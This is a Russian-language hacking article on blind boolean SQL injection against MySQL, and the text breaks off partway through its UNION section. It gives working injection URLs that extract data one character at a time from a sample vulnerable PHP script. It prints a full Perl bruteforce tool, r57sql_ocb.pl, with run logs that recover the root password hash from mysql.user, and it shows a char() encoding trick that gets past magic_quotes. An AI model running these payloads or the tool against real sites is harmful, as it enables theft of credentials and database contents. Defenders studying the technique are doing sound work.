Посимвольный перебор в базах данных на примере MySQL

Посимвольный перебор в базах данных на примере MySQL

На данный момент атаки типа sql injection уже достаточно широко и полно описаны в различных статьях и документах. В сети можно найти большое количество информации и примеров в которых иллюстрируются методы получения информации из базы данных, при использовании данного типа атак, как при условиях вывода сообщений о ошибках, так и при случаях когда подобные сообщения не выводятся ( так называемые Blind SQL injection ). Однако в примерах и документах, которые сейчас доступны, при описании методики атак делается упор на использование предложения UNION для обьединения запросов к базе и предполагается, что существует вывод данных полученных из запроса к БД т.е. мы можем непосредственно влиять на данные которые выводятся после выполнения запроса.

Призы для победителей конкурса предоставил компьютерный интернет магазин
Автор: 1dt.w0lf (r57_xbIx@tochka.ru)

Содержание:
+++++++++++++++++++++++++++++++++++++++
[ 0 ].......................... INTRO
[ 1 ]............................ MAN
[ 2 ]............ MySQL версии => 4.1
[ 3 ]......... Программная реализация
[ 4 ]..................... Подзапросы
[ 5 ].... MySQL версий => 4.0 и < 4.1
[ 6 ]............. MySQL версии < 4.0
[ 7 ]....................... Задержки
[ 8 ].............. Конкретный пример
[ 9 ].......................... OUTRO
+++++++++++++++++++++++++++++++++++++++


__ INTRO __

На данный момент атаки типа sql injection уже достаточно широко и полно описаны в различных статьях и документах. В сети можно найти большое количество информации и примеров в которых иллюстрируются методы получения информации из базы данных, при использовании данного типа атак, как при условиях вывода сообщений о ошибках, так и при случаях когда подобные сообщения не выводятся ( так называемые Blind SQL injection ).
Однако в примерах и документах, которые сейчас доступны, при описании методики атак делается упор на использование предложения UNION для обьединения запросов к базе и предполагается, что существует вывод данных полученных из запроса к БД т.е. мы можем непосредственно влиять на данные которые выводятся после выполнения запроса.

Таким образом после изучения доступной информации может сложится впечатление что получение записей (или какой-либо информации) из базы данных, посредством атак типа sql injection, неосуществимо при выполнении следующих условий:

  • атакующий не может непосредственно влиять на вывод данных полученных из запросов к БД,
  • нет вывода сообщений о ошибках,
  • нет возможности использования UNION,
  • атакующий не располагает никакой информацией о структуре базы.

Как иллюстрацию к вышеописанным условиям можно привести ситуацию когда атакующий может изменить условие в запросе типа UPDATE ... WHERE ... и единственной доступной информацией для него является только оповещение о том что запись либо была обновлена, либо нет. Конечно атакующий может изменить существующие записи в таблице, но получить информацию из уже существующих записей, пользуясь методами описанными на данный момент и в которых описываются атаки при запросах типа SELECT ... он будет не в состоянии.

Как еще один пример мне пока не встречалось ни одного документа описывающего метод атак на MySQL версии ниже 4.0 (т.е. без поддержки обьединения запросов посредством UNION) даже при запросах типа SELECT ...

Получаются такие вот "неблагоприятные" для атакующего условия =\ Однако как показали некоторые эксперименты в данной области даже при таких урезанных возможностях потенциальный взломщик может получить практически любую информацию из базы данных.
Данная статья является результатом моих небольших исследований в данной области и надеюсь укажет администраторам на возможную опасность при таких казалось-бы безнадежных для атакующего ситуациях.

Еще раз хотел бы заострить внимание на том, что целью атакующего является именно получение информации из базы данных, а не изменение записей или небольшие модификации запроса для получения каких-либо возможностей. Если конкретно, то например обход авторизации посредством "OR 1=1 -- " нас совершенно не интересует, это в детском саду проходят =)

В данной статье описаны методы применяемые при атаках на базы данных MySQL. Первые три раздела описывают методы атак в соответствии с версиями: раздел для версий выше 4.1 в которых описывается перебор с использованием подзапросов, раздел про версии от 4.0 и до 4.1 в котором описывается перебор с использованием UNION и раздел для версий ниже 4.0 в которых нет возможности использования ни подзапросов, ни обьединения с помощью UNION. Данные разделы описывают атаки при внедрении кода в запросы выборки данных типа select ...
Пускай сейчас версии выше 4.1 не очень распространены в сети, но стоит пожалуй глядеть в будущее когда такие базы наверняка будут более распространены и описанные в данной статье методы для этих версий станут более актуальны. Именно поэтому в данной статье наибольшее количество примеров будет приведено для версий выше 4.1.

В последующих разделах приводятся примеры получения дополнительной информации из базы данных, такой как значения системных переменных. После этого описывается метод атак при использовании временных задержек на примере внедрения кода в запросы типа update ...
В последнем разделе рассматривается конкретный пример написания эксплоита использующего описанную технику.

Следует заметить, что для наиболее полного понимания описанного в статье материала необходимо и достаточно чтобы читатель обладал минимальными знаниями языка SQL а также языка PHP на котором будут приведены все примеры уязвимых скриптов.

Еще читателю пригодится знание языка PERL так как по ходу статьи в примерах будет использоваться небольшой скрипт, код которого будет позднее представлен в статье, написанный на этом языке. Также на этом языке в конце статьи будет приведен код эксплоита, показывающего как используются методы описанные в статье так сказать на практике.

Также в статье при описании примеров будут использоваться несколько функций описание которых я счел необходимым привести в следующем разделе. Все эти функции описаны в мануалах. Итак приступим.

__ MAN __

Первая функция без которой не было бы данной статьи это функция substring()

SUBSTRING(str,pos,len)

Описание:
Возвращает подстроку длиной len символов из строки str, начиная от позиции pos.

Пример:
mysql> SELECT SUBSTRING('Quadratically',5);
-> 'ratically'


Далее на очереди функция lower()

LOWER(str)

Описание:
Возвращает строку str, в которой все символы переведены в нижний регистр в соответствии с текущей установкой набора символов.

Пример:
mysql> SELECT LOWER('QUADRATICALLY');
-> 'quadratically'

И завершает обзор функция ascii()

ASCII(str)

Описание:
Возвращает значение ASCII-кода крайнего слева символа строки str;
0 если str является пустой строкой;
NULL, если str равна NULL.

Пример:
mysql> SELECT ASCII('2');
-> 50
mysql> SELECT ASCII(2);
-> 50

На этом думаю стоит закончить описание функций и перейти непосредственно к первой базе данных.

___ MySQL версии => 4.1 ___

Я решил начать с данных версий mySQL, так как именно с версии 4.1 в них введена поддержка подзапросов. Поддержка подзапросов дает нам большие возможности при получении данных по сравнению с базами в которых такой поддержки нет. Но более подробно подзапросы будут рассмотрены в следующем разделе, а пока рассмотрим пример уязвимого скрипта. Предположим, что в некоторой базе данных существует таблица users в которой хранится информация о существующих пользователях как то логин пользователя (столбец login), пароль пользователя (столбец password) и информация о регистрации пользователя (столбец status, значение 1 пользователь зарегистрирован и значение 0 пользователь незарегистрирован) В данной таблице содержатся следующие записи:

	+----+--------+--------+----------+
	| id | status | login  | password |
	+----+--------+--------+----------+
	| 1  | 1      | admin  | password |
	| 2  | 1      | lamer  | lamer    |
	| 3  | 0      | hacker | 123      |
	| 4  | 1      | user   | blah     |
	+----+--------+--------+----------+

На сайте существует скрипт users.php который по запросу выводит количество зарегистрированных или-же незарегистрированных пользователей. Код данного скрипта таков:
<?
error_reporting(0);
... подключение к базе данных ...

$result=@mysql_num_rows(mysql_query("SELECT status FROM users WHERE status=$id"));
if (!$result) { $result = 0; }
echo "Found: $result";
... дальнейшие действия которые нас неинтересуют ...
?>
Итак данный скрипт по запросу server.com/users.php?id=1 выводит количество зарегистрированных пользователей, а по запросу server.com/users.php?id=0 количество незарегистрированных пользователей. Как видно из кода параметр поиска передается через переменную id и данный параметр перед помещением в запрос не фильтруется и соответственно скрипт уязвим к внедрению sql кода. Однако имея возможность вставить произвольный sql код в запрос который будет выполняться в БД, мы в тоже время не имеем возможности непосредственно изменить выводимые данные, так как можем влиять ТОЛЬКО на количество строк полученных в результате запроса к базе. Именно это количество выводится потом для просмотра. Поэтому какое-либо использование предложения UNION в данном случае нам ничего не даст. Также из кода видно, что при возможных ошибках никаких сообщений скриптом выводиться не будет.

Многие из моих знакомых заявили бы, что получение данных из БД, через ошибку в таком скрипте, невозможно. Но это не так!

Для начала разберемся с запросом, с тем как мы можем на него влиять и какую информацию из этого мы сможем получить.

Запрос к серверу:

server.com/users.php?id=1

вызывает запрос к базе данных:

SELECT status FROM users WHERE status=1;

После чего подчитывается количество возвращенных запросом записей о пользователях у которых в столбце status стоит значение 1

После выполнения скрипта мы получаем в браузере страницу следующего вида
Found: 3

После запроса: server.com/users.php?id=0

Получаем страницу

Found: 1

В первую очередь атакующий проверяет возможность внедрения sql-кода например так: server.com/users.php?id=1'

В ответ не выдается сообщения о ошибке и выведенная страница выглядит следующим образом:

Found: 0

Так как нет сообщений о ошибке, то атакующий не может с полной уверенностью определить является ли такой вывод скрипта следствием возникшей в запросе ошибки из-за лишней кавычки или же запрос возвращает нулевое количество записей из БД т.к. записей с таким статусом там нет. Соответственно атакующий не может с уверенностью определить тип переменной.
Зато сможет с помощью запроса:
server.com/users.php?id=0%2B1

который совпадает с запросом к БД

SELECT status FROM users WHERE status=0+1;
( 2B - 16-ричный код символа + )

Так как возвращаемый результат этого запроса совпадает с результатом возвращаемым запросом server.com/users.php?id=1 то атакующий с полной уверенностью может утверждать, что получаемый из строки запроса параметр id является типом integer.

После получения информации о типе переменной атакующий может попытаться вставить в запрос дополнительные условия и проанализировать зависимость существования или наоборот отсутствия возвращаемых запросом строк от добавленных условий.

Запрос:
server.com/users.php?id=1 AND 1=1 соответствует запросу server.com/users.php?id=1 т.к. добавление условия 1=1 не оказывает в данном случае никакого влияния и соответственно выводы обоих запросов соответствуют, что подтверждают одинаковые данные выведенные скриптом при обоих запросах.
Зато запрос: server.com/users.php?id=1 AND 1=2 выводит страницу "Found: 0" так как запрос при таком условии никогда не найдет совпадающих строк.

Данные маленькие примеры призваны показать как внедрение дополнительных условий в данном случае влияет на количество выводимых запросом строк и соответственно на конечный результат выводимый скриптом. Отлично. Если вы знакомы с SQL то наверно уже догадались, что после AND мы можем использовать и более сложные условия и анализируя существование или отсутствие ответа будем определять выполнение или соответственно невыполнение условия.

Итак на конкретном примере:
Данный запрос: server.com/users.php?id=1 AND user()="root@localhost" выведет результат совпадающий с запросом server.com/users.php?id=1 только в случае если скрипт работает с БД от юзера root. Итак мы пользуясь данным запросом можем перебирать различные имена пользователей и смотря на полученный вывод скрипта определить имя пользователя. Но такой перебор конечно же слишком утомителен и нерезультативен =( Но надеюсь вы еще не забыли про функцию substring() которая позволяет выдернуть произвольный символ из результата. Этим мы и воспользуемся.

Запрос:
server.com/users.php?id=1 AND substring(user(),1,1)="r"

порождает запрос к БД
SELECT status FROM users WHERE status=1 AND substring(user(),1,1)="r";

и данный запрос вернет результат совпадающий с результатом запроса SELECT status FROM users WHERE status=1 только в случае если первый символ из имени пользователя от которого скрипт работает с базой данных совпадает с "r".

Что именно происходит в данном запросе: Сначала получаем значение user(), после этого функция substring() выделяет из этого значения один символ стоящий на первой позиции и после этого данный символ сравнивается с символом "r".

Итак запрос к скрипту server.com/users.php?id=1 AND substring(user(),1,1)="r" возвращает нам страницу содержащую "Found: 3" и соответственно мы можем с полной уверенностью утверждать, что первой буквой имени пользователя является буква r. =)

Запрос server.com/users.php?id=1 AND substring(user(),2,1)="r" вернет страницу "Found: 0" так как второй буквой имени пользователя не является буква r, зато запрос server.com/users.php?id=1 AND substring(user(),2,1)="o" возвращает "Found: 3" и следовательно вторая буква o.

Уже сейчас можно используя перебор всех символов получить полное имя пользователя от которого скрипт работает с БД, последовательно перебирая позиции в записи с помощью второго параметра substring().

Однако предположим что длина имени составляет 10 символов и используются только буквы в нижнем регистре, тогда в среднем для перебора потребуется примерно 200-300 запросов к скрипту, что во-первых нежелательно из-за долгого времени перебора (хотя и не такого долгого как при переборе от фонаря), а во-вторых недопустимо из-за огромного количества записей в логах веб-сервера и базы данных, что становится похоже на слона в посудной лавке =(

Но не все так плачевно как кажется на первый взгляд =) Мы можем воспользоваться еще несколькими функциями в условии для уменьшения диапазона перебираемых символов. В этом нам поможет функция ascii(). Совсем не обязательно сравнивать совпадения символов, ведь можно сравнивать их ascii-коды.

Запрос: server.com/users.php?id=1 AND ascii(lower(substring(user(),1,1)))>110
Данный запрос выведет результат "Found: 3" в случае если ascii-код первого символа в имени пользователя больше 110 (т.е. больше "n"). Таким образом одним запросом мы можем уменьшить диапазон символов для перебора в 2 раза! Следовательно мы существенно уменьшаем количество попыток перебора символов и соответственно количество запросов к скрипту и базе данных.

В данном запросе сначала получаем значение user(), после этого с помощью substring() получаем из этого значения один символ стоящий на первой позиции, далее функцией lower() этот символ переводится в нижний регистр, далее функция ascii() возвращает ascii-код данного символа и этот код сравнивается с переданным нами значением.

Алгоритм получения четвертого символа из имени пользователя получается таким:

Запрос: server.com/users.php?id=1 AND ascii(lower(substring(user(),4,1)))>110
Ответ: Found: 3
Вывод: Символ лежит в промежутке 110 .. 122 ( n .. z )

Запрос: server.com/users.php?id=1 AND ascii(lower(substring(user(),4,1)))>116
Ответ: Found: 0
Вывод: Символ лежит в промежутке 110 .. 116 ( n .. t )

Запрос: server.com/users.php?id=1 AND ascii(lower(substring(user(),4,1)))>113
Ответ: Found: 3
Вывод: Символ лежит в промежутке 113 .. 116 ( q .. t )

Запрос: server.com/users.php?id=1 AND ascii(lower(substring(user(),4,1)))=114
Ответ: Found: 0
Вывод: Код символа не 114 ( символ не "r" )

Запрос: server.com/users.php?id=1 AND ascii(lower(substring(user(),4,1)))=115
Ответ: Found: 0
Вывод: Код символа не 115 ( символ не "s" )

Запрос: server.com/users.php?id=1 AND ascii(lower(substring(user(),4,1)))=116
Ответ: Found: 3
Вывод: Код символа 115 ( символ "t" ) !!!

Искомый символ найден. Для этого потребовалось всего 6 запросов!

В данном примере предполагается что в имени пользователя используются только буквы, поэтому мы перебираем диапазон символов a..z, что соответствует кодам 97..122, символы в верхнем регистре мы не включаем в диапазон т.к. используем функцию lower()

Также использование функции ascii() и сравнение ascii-кодов символа вместо сравнения символов позволяют отказаться от кавычек в условиях типа ="r" что в свою очередь позволяет не заботиться о magic_quotes.

Таким образом перебрав все позиции в имени пользователя до получения в ответе кода 0, что соответствует концу строки, мы получим полное имя. Вот в кратце о основах метода посимвольного перебора в базе данных. В дальнейших разделах статьи на основании этого метода будут описаны конкретные примеры получения информации из базы данных.

__ Программная реализация __

Перебор вручную даже с помощью уменьшения диапазона перебора все равно оказывается делом достаточно утомительным и для дальнейших примеров я подумал, что было бы неплохо написать скрипт который автоматом за нас будет перебирать символы. Код этого скрипта и небольшое описание приведены в данном разделе статьи.

--- start r57sql_ocb.pl ---

#!/usr/bin/perl

# r57sql_ocb.pl
# sql-databases one char bruteforce tool

use LWP::UserAgent;

$path   = $ARGV[0]; 
# запрос с уязвимому скрипту с параметром

$query  = $ARGV[1]; 
# запрос к БД (подзапрос) результат которого будет вставлен в функцию substring()

$s_num  = $ARGV[2]; 
# позиция символа который перебираем

$string = $ARGV[3]; 
# строка в ответе сервера по наличию которой судим о успешном выполнении запроса к БД 

if (@ARGV < 4) { &usage; }

# диапазон символов для перебора
$min = $ARGV[4] || 97;  # a
$max = $ARGV[5] || 122; # z 

&found($min,$max);

# подпрограмма уменьшения диапазона символов
sub found($$)
 {
 my $fmin = $_[0];
 my $fmax = $_[1];
 # если диапазон менее 5 символов то переходим к перебору
 if (($fmax-$fmin)<5) { &crack($fmin,$fmax); } 
 # иначе находим середину диапазона
 print "-> Try $fmin .. $fmax -> "; 
 $r = int($fmax - ($fmax-$fmin)/2);
 $check = ">$r";
 # проверяем ответ скрипта и в зависимости от возвращенного результата
 # рекурсивно вызываем функцию с новым диапазоном (уже уменьшенным в 2 раза)
 if ( &check($check) ) { print "Char > $r\r\n"; &found($r,$fmax); }
 else { print "Char < $r\r\n"; &found($fmin,$r+1); }
 }

# подпрограмма поиска перебором 
sub crack($$)
 {
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 # проходим циклом по диапазону
 while ($i<$cmax)
  {
  $crcheck = "=$i";
  print "-> Try $i ->";
  # проверяем ответ скрипта, если ответ положительный то выводим символ и выходим 
  if ( &check($crcheck) ) 
      { print " FOUND!\r\n-> Ascii: $i\r\n-> Char: ".chr($i); exit(); }
  else { print " NO =(\r\n"; }
  $i++;
  }
 print "NOT FOUND"; exit();
 }

# подпрограмма проверки результата запроса 
sub check($)
 {
 $ccheck = $_[0];
 # формируем запрос к скрипту
 $http_query = $path." AND ascii(lower(substring(".$query.",".$s_num.",1)))".$ccheck;
 # отправляем запрос
 $mcb_reguest = LWP::UserAgent->new() or die;
 $res = $mcb_reguest->post($http_query); 
 # получаем ответ сервера
 @results = $res->content; 
 foreach $result(@results)
  {
  # ищем в ответе скрипта строку совпадающую с нашим условием
  if ($result =~ /$string/) { return 1; }
  }
 return 0;
 }
 
sub usage
 {
 print "Usage: $0 [path_to_script?param] [DB_query] [symbol_position] 
 	[return_string] [brute_min_char] [brute_max_char]\r\n";

print "e.g. : $0 http://server.com/users.php?id=1 \"user()\" 1 \"Found: 3\" 48 57";
 exit(); 
 }

--- end r57sql_ocb.pl ---
Скрипт запускается со следующими параметрами:
  1. Путь к скрипту включая параметр уязвимый к sql injection, в нашем случае он будет http://server.com/users.php?id=1
  2. Запрос к базе данных который вставляется в функцию substring(), т.е. запрос, результат выполнения которого мы будем перебирать.
  3. Позиция символа для перебора.
  4. Строка каторая должна присутствовать в выведенном ответе скрипта при выполнении условия.
  5. 6. Необязательные параметры в которых можно задать начальный и конечный ascii-коды для обозначения диапазона перебираемых символов.
    Также в процессе работы скрипт выводит добавляемые условия, перебираемые диапазоны и результаты запросов для более наглядного просмотра алгоритма и подсчета количества запросов необходимых для получения одного символа.
Пример работы скрипта для получения имени пользователя:
C:\>r57sql_ocb.pl http://server.com/users.php?id=1 "user()" 1 "Found: 3"
-> Try 97 .. 122 -> Char > 109
-> Try 109 .. 122 -> Char < 115
-> Try 109 .. 116 -> Char > 112
-> Try 112 -> NO =(
-> Try 113 -> NO =(
-> Try 114 -> FOUND!
-> Ascii: 114
-> Char: r
C:\>r57sql_ocb.pl http://server.com/users.php?id=1 "user()" 2 "Found: 3"
-> Try 97 .. 122 -> Char > 109
-> Try 109 .. 122 -> Char < 115
-> Try 109 .. 116 -> Char < 112
-> Try 109 -> NO =(
-> Try 110 -> NO =(
-> Try 111 -> FOUND!
-> Ascii: 111
-> Char: o
C:\>r57sql_ocb.pl http://server.com/users.php?id=1 "user()" 3 "Found: 3"
-> Try 97 .. 122 -> Char > 109
-> Try 109 .. 122 -> Char < 115
-> Try 109 .. 116 -> Char < 112
-> Try 109 -> NO =(
-> Try 110 -> NO =(
-> Try 111 -> FOUND!
-> Ascii: 111
-> Char: o
C:\>r57sql_ocb.pl http://server.com/users.php?id=1 "user()" 4 "Found: 3"
-> Try 97 .. 122 -> Char > 109
-> Try 109 .. 122 -> Char > 115
-> Try 115 .. 122 -> Char < 118
-> Try 115 -> NO =(
-> Try 116 -> FOUND!
-> Ascii: 116
-> Char: t

Итак наш пользователь "root" =)

Небольшими изменениями в коде можно сделать чтобы скрипт автоматом подбирал все символы из строки и работал не только с параметром типа integer (в нашем случае это id) но для данной статьи это не нужно, а те кому надо думаю сами смогут дополнить скрипт, там кода на 5 минут.

__ Подзапросы __

Итак как было описано ранее атакующий с помощью перебора смог получить имя пользователя от которого скрипт работает с базой данных. Чтож это неприятно, но это и не смертельно. Если бы этим все и ограничивалось, то можно было бы совсем не беспокоиться, однако все становится на порядок опаснее когда база данных, на которую производится атака, поддерживает подзапросы. В общем случае подзапрос выглядит следующим образом:

SELECT v1 from t1 WHERE v2=(SELECT v3 from t2);

Полученный результат подзапроса из таблицы t2 подставляется в условие в запросе к таблице t1.

Применительно к нашему случаю можно использовать подзапросы в функции substring() и следовательно результат подзапроса мы и обрабатываем этой функцией и соответственно его и перебираем

Конкретно: substring((select v1 from t1),1,1)

Сначала выполняется подзапрос select v1 from t1 , после чего результат его выполнения вставляется в функцию которая выдирает из результата первый символ. А тут уже вспоминаем технику описанную ранее и сравниваем этот символ с тем что нам надо =)
Как видно из вышеописанного, атакующий получает возвожность выполнения любого запроса к базе данных и путем посимвольного перебора имеет возможность получить результат запроса. Из этого следует, что атакующий имеет возможность получить ЛЮБУЮ информацию из базы данных (точнее сказать не любую, а любую доступную тому пользователю от которого с базой работает уязвимый скрипт).

Основная особенность работы с подзапросами состоит в том, что наш подзапрос должен возвращать только одну запись в результате выполнения, иначе в ходе выполнения запроса будет возникать ошибка. Данная проблема легко решается вставкой дополнительных условий в подзапрос или использованием LIMIT ( LIMIT [смещение,] количество ).

Пример работы с подзапросами:

server.com/users.php?id=1 AND ascii(lower(substring((SELECT password from mysql.user WHERE user="root" LIMIT 1),1,1)))>48

Данный запрос возвращает результат в случае если ascii-код первого символа пароля пользователя root полученный из таблицы mysql.user больше 48 (т.е. символ с кодом больше кода символа 1).

В данном запросе сначала выполняется подзапрос SELECT password from mysql.user WHERE user="root" LIMIT 1 возвращающий один результат. После этого полученный результат вставляется в функцию substring() которая выделяет один символ из этого результата. Потом символ переводится в нижний регистр и с помощью ascii() получаем код этого символа, который и сравнивается с переданным нами числом.

Используя скрипт можно продемонстрировать получение первых символов из пароля пользователя root:


C:\>r57sql_ocb.pl http://server.com/users.php?id=1 "(SELECT password from
  mysql.user WHERE user=\"root\" LIMIT 1)" 1 "Found: 3" 48 122
-> Try 48 .. 122 -> Char < 85
-> Try 48 .. 86 -> Char < 67
-> Try 48 .. 68 -> Char < 58
-> Try 48 .. 59 -> Char < 53
-> Try 48 .. 54 -> Char < 51
-> Try 48 -> NO =(
-> Try 49 -> NO =(
-> Try 50 -> FOUND!
-> Ascii: 50
-> Char: 2
C:\>r57sql_ocb.pl http://server.com/users.php?id=1 "(SELECT password from 
  mysql.user WHERE user=\"root\" LIMIT 1)" 2 "Found: 3" 48 122
-> Try 48 .. 122 -> Char < 85
-> Try 48 .. 86 -> Char < 67
-> Try 48 .. 68 -> Char < 58
-> Try 48 .. 59 -> Char > 53
-> Try 53 .. 59 -> Char > 56
-> Try 56 -> NO =(
-> Try 57 -> FOUND!
-> Ascii: 57
-> Char: 9
C:\>r57sql_ocb.pl http://server.com/users.php?id=1 "(SELECT password from 
  mysql.user WHERE user=\"root\" LIMIT 1)" 3 "Found: 3" 48 122
-> Try 48 .. 122 -> Char > 85
-> Try 85 .. 122 -> Char < 103
-> Try 85 .. 104 -> Char > 94
-> Try 94 .. 104 -> Char < 99
-> Try 94 .. 100 -> Char > 97
-> Try 97 -> NO =(
-> Try 98 -> FOUND!
-> Ascii: 98
-> Char: b
C:\>r57sql_ocb.pl http://server.com/users.php?id=1 "(SELECT password from 
  mysql.user WHERE user=\"root\" LIMIT 1)" 4 "Found: 3" 48 122
-> Try 48 .. 122 -> Char > 85
-> Try 85 .. 122 -> Char < 103
-> Try 85 .. 104 -> Char > 94
-> Try 94 .. 104 -> Char < 99
-> Try 94 .. 100 -> Char < 97
-> Try 94 -> NO =(
-> Try 95 -> NO =(
-> Try 96 -> NO =(
-> Try 97 -> FOUND!
-> Ascii: 97
-> Char: a

Итак первыми символами в пароле являются: 29ba

Следующая проблема которая может возникнуть при использовании условий в подзапросе это проблема с magic_quotes при условиях типа user="root". Данная проблема легко обходится видоизменением условия с помощью функции char().

Условие: user="root"
соответствует условию: user=char(114,111,111,116)

Итак получаем:

C:\>r57sql_ocb.pl http://server.com/users.php?id=1"(SELECT password 
 from mysql.user WHERE user=char(114,111,111,116) LIMIT 1)" 4 "Found: 3" 48 122
-> Try 48 .. 122 -> Char > 85
-> Try 85 .. 122 -> Char < 103
-> Try 85 .. 104 -> Char > 94
-> Try 94 .. 104 -> Char < 99
-> Try 94 .. 100 -> Char < 97
-> Try 94 -> NO =(
-> Try 95 -> NO =(
-> Try 96 -> NO =(
-> Try 97 -> FOUND!
-> Ascii: 97
-> Char: a
C:\>r57sql_ocb.pl http://server.com/users.php?id=1 "(SELECT password 
 from mysql.user WHERE user=char(114,111,111,116) LIMIT 1)" 5 "Found: 3" 48 122
-> Try 48 .. 122 -> Char > 85
-> Try 85 .. 122 -> Char < 103
-> Try 85 .. 104 -> Char > 94
-> Try 94 .. 104 -> Char > 99
-> Try 99 .. 104 -> Char < 101
-> Try 99 -> NO =(
-> Try 100 -> FOUND!
-> Ascii: 100
-> Char: d
C:\>r57sql_ocb.pl http://server.com/users.php?id=1 "(SELECT password from 
 mysql.user WHERE user=char(114,111,111,116) LIMIT 1)" 6 "Found: 3" 48 122
-> Try 48 .. 122 -> Char < 85
-> Try 48 .. 86 -> Char < 67
-> Try 48 .. 68 -> Char < 58
-> Try 48 .. 59 -> Char < 53
-> Try 48 .. 54 -> Char < 51
-> Try 48 -> NO =(
-> Try 49 -> FOUND!
-> Ascii: 49
-> Char: 1
Четвертый, пятый и шестой символы в пароле соответственно ad1 и magic_quotes нас уже не волнуют =)

Несколько позиций полученных с помощью LIMIT из запроса можно обьединить в одну строку с помощью функции CONCAT() и получать перебором символы из этой обьединенной строки. Например для получения первых трех записей из столбеца login из нашей тестовой таблицы users можно использовать следующее обьединение:

CONCAT_WS("|",(select login from users LIMIT 0,1),(select login from users LIMIT 1,1),(select login from users LIMIT 2,1))

Символ | будет использоваться в качестве разделителей и данная функция возвращает результат типа:

admin|lamer|hacker

В случае использования с нашим скриптом запрос принимает вид:

http://server.com/users.php?id=1 AND ascii(lower(substring(CONCAT_WS("|",(select login from users LIMIT 0,1),(select login from users LIMIT 1,1),(select login from users LIMIT 2,1)),1,1)))=97

И возврашает результат "Found: 3" т.к. первый символ из результата это "a" ( [a]dmin )

__ MySQL версий => 4.0 и < 4.1 __

В данных версиях БД не поддерживается возможность использования подзапросов, поэтому для получения информации из других таблиц ( отличных от той с которой работает скрипт ) приходится использовать предложение UNION. Рассмотрим как это делается на нашем примере. Для начала необходимо найти параметр id при котором наш запрос будет возвращать нулевой результат, например http://server.com/users.php?id=666 , что необходимо для того, чтобы данный (первый) запрос не оказывал влияния на вывод всего обьединения. Т.е. теперь при обьединении через UNION со вторым запросом к БД имеенно ТОЛЬКО ВТОРОЙ запрос будет оказывать влияние на вывод (или-же наоборот отсутствие вывода) нашего скрипта.
Более подробно:

Запрос: http://server.com/users.php?id=666
Ответ: "Found: 0"

А запрос: http://server.com/users.php?id=666 UNION SELECT 1 FROM mysql.user WHERE user="root"
Возвратит "Found: 1" в случае если в таблице mysql.user существует запись для пользователя root.

Далее вводим дополнительные условия:

Запрос: http://server.com/users.php?id=666 UNION SELECT 1 FROM mysql.user WHERE user="root" AND ascii(lower(substring(password,1,1)))>48

Данный запрос выводит результат "Found: 1" в случае если в таблице mysql.user существует запись для пользователя root и код первого символа из столбца password для данной записи более 48.

Следует обратить внимание на то, что если в предыдущем случае при описании работы с подзапросами мы перебирали именно результат возвращенный подзапросом т.е. нам было важно, что возвратит этот подзапрос, то в данном случае результат который возвращает второй запрос (после UNION) нас неинтересует, нам важно только присутствие или отсутствие этого результата при заданных нами условиях. И мы таким образом просто определяем выполняется наше условие (условия) или нет. А вот то, что мы перебираем и задается в этом условии. Надеюсь понятно обьяснил разницу между методами, если что-то вдруг непонятно то просто попробуйте повторить описанное у себя на локальной БД и все сразу станет на свои места.

Теперь можно используя обьединение UNION попробовать получить перебором записи из нашей тестовой таблицы. Только необходимо заметить что желательно чтобы условия во втором запросе позволяли совпадать только одной записи т.к. в противном случае перебор может выдавать неправильные значения, обьясню на примере:

Пусть в таблице blah существуют две записи для пользователя root:


	+-------+------+
	| user  | pass |
	+-------+------+
	| root  | aaa  |
	| root  | bbb  |
	+-------+------+

Для таких записей запросы

http://server.com/users.php?id=666 UNION SELECT 1 FROM blah WHERE user="root" AND ascii(lower(substring(pass,1,1)))=97

и

http://server.com/users.php?id=666 UNION SELECT 1 FROM blah WHERE user="root" AND ascii(lower(substring(pass,1,1)))=98

вернут результат. И перебор будет возвращать неправильный результат.
Так что чем больше условий будет во втором запросе тем больше вероятность получения правильного результата с помощью перебора.

Для посимвольного перебора с использованием UNION также можно использовать наш скрипт, единственное условие это то что необходимо будет добавить часть запроса в первый параметр. Вот пример получения пароля пользователя root из таблицы mysql.user:

C:\>r57sql_ocb.pl "http://server.com/users.php?id=666 UNION SELECT 1 FROM 
 mysql.user WHERE user=char(114,111,111,116)" "password" 1 "Found: 1" 1 122
-> Try 1 .. 122 -> Char < 61
-> Try 1 .. 62 -> Char > 31
-> Try 31 .. 62 -> Char > 46
-> Try 46 .. 62 -> Char < 54
-> Try 46 .. 55 -> Char < 50
-> Try 46 .. 51 -> Char > 48
-> Try 48 -> NO =(
-> Try 49 -> NO =(
-> Try 50 -> FOUND!
-> Ascii: 50
-> Char: 2
C:\>r57sql_ocb.pl "http://server.com/users.php?id=666 UNION SELECT 1 FROM 
 mysql.user WHERE user=char(114,111,111,116)" "password" 2 "Found: 1" 1 122
-> Try 1 .. 122 -> Char < 61
-> Try 1 .. 62 -> Char > 31
-> Try 31 .. 62 -> Char > 46
-> Try 46 .. 62 -> Char > 54
-> Try 54 .. 62 -> Char < 58
-> Try 54 .. 59 -> Char > 56
-> Try 56 -> NO =(
-> Try 57 -> FOUND!
-> Ascii: 57
-> Char: 9
C:\>r57sql_ocb.pl "http://server.com/users.php?id=666 UNION SELECT 1 FROM 
 mysql.user WHERE user=char(114,111,111,116)" "password" 3 "Found: 1" 1 122
-> Try 1 .. 122 -> Char > 61
-> Try 61 .. 122 -> Char > 91
-> Try 91 .. 122 -> Char < 106
-> Try 91 .. 107 -> Char < 99
-> Try 91 .. 100 -> Char > 95
-> Try 95 .. 100 -> Char > 97
-> Try 97 -> NO =(
-> Try 98 -> FOUND!
-> Ascii: 98
-> Char: b
C:\>r57sql_ocb.pl "http://server.com/users.php?id=666 UNION SELECT 1 
 FROM mysql.user WHERE user=char(114,111,111,116)" "password" 4 "Found: 1" 1 122
-> Try 1 .. 122 -> Char > 61
-> Try 61 .. 122 -> Char > 91
-> Try 91 .. 122 -> Char < 106
-> Try 91 .. 107 -> Char < 99
-> Try 91 .. 100 -> Char > 95
-> Try 95 .. 100 -> Char < 97
-> Try 95 -> NO =(
-> Try 96 -> NO =(
-> Try 97 -> FOUND!
-> Ascii: 97
-> Char: a

Для полной картины, в первом примере, например, полные запросы к базе данных и алгоритм выглядят следующим образом:

* Если ответ "Found: 1" то условие естинно т.е. True , иначе ответ "Found: 0" и условие ложно False

1.
Запрос: SELECT status FROM users WHERE status=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116) AND ascii(lower(substring(password,1,1)))>61
Условие: False

2.
